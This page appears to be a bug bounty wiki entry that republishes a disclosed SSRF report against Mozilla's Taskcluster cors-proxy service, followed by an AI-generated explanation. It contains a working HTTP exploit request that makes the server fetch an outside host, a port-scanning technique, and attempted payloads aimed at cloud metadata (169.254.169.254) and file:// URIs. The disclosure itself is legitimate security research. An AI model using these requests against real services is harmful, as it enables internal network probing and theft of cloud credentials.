[ SSRF] cors-proxy.taskcluster.net
The cors-proxy service accepted arbitrary URLs in its /request endpoint, allowing an attacker to make the server send requests to any host. This enabled port scanning and potential access to internal services like Redis or memcached.
Originally disclosed on Mozilla
- Fixed in 39 days
- Paid in 28 days
- Disclosed after 39 days
Introduction:
Taskcluster Status page (https://tools.taskcluster.net/status) make requests to cors-proxy service (cors-proxy.taskcluster.net). Using /request endpoint attacker could make requests (GET, PUT, POST itd.) to other servers, scan ports, maybe RCE (for example if attacker find internal REDIS, memcached, elasticsearch instance etc.).
PoC:
[ssrf1.png]
Request:
POST /request HTTP/1.1
Host: cors-proxy.taskcluster.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Content-Type: application/json
X-Cors-Proxy-Expose-Headers:
Referer: https://tools.taskcluster.net/
Content-Length: 98
Origin: https://tools.taskcluster.net
Connection: close
{"url":"http://krysztofiak.com/log.php","method":"GET","headers":{"User-Agent":"SSRF User Agent"}}
Response:
HTTP/1.1 200 OK
Connection: close
X-Powered-By: PHP/5.6.30
Content-Type: text/html; charset=UTF-8
Content-Length: 97
Date: Mon, 21 Aug 2017 12:14:53 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Access-Control-Allow-Origin: https://tools.taskcluster.net
Access-Control-Request-Method: GET POST HEAD OPTIONS PUT DELETE TRACE CONNECT
Via: 1.1 vegur
IP: 54.159.98.151 TIME: Aug 21 13:14:53 2017 REFERRER: SEARCHSTRING: USERAGENT: SSRF User Agent
====
Attacker also could scan ports, for example you can provide url like: http://testsite.com:22/ and if you get parse error, you know port is open.
How to fix:
Make url whitelist.
More info:
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
My guesses:
Basing on application error, application work on nodejs with module request (https://github.com/request/request).
I try without success:
- get AWS metadata from http://169.254.169.254/latest/meta-data/
- get local files with file:// uri handler
- make RCE with javascript: uri handler
- exposure server memory with this bug https://snyk.io/vuln/npm:request:20160119 (more info: https://snyk.io/blog/exploiting-buffer/)
Best regards,
Jędrzej
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the proxy did not validate or restrict the destination URL, allowing requests to arbitrary hosts.
Impact
An attacker could make requests to internal services and scan ports, potentially leading to further exploitation such as RCE if vulnerable services are found.
What the attacker needed
None
How it was found
- Send a POST request to the /request endpoint with a JSON body containing a URL, method, and headers.
- The server fetches the supplied URL and returns the response, confirming SSRF.
- To scan ports, supply a URL with a specific port and observe parse errors to infer if the port is open.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A server-side request forgery (SSRF) bug lets an attacker trick a server into making requests on their behalf. Here, the proxy service would fetch any URL the attacker supplied, so the attacker could probe internal networks or services that are not directly reachable from the internet.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.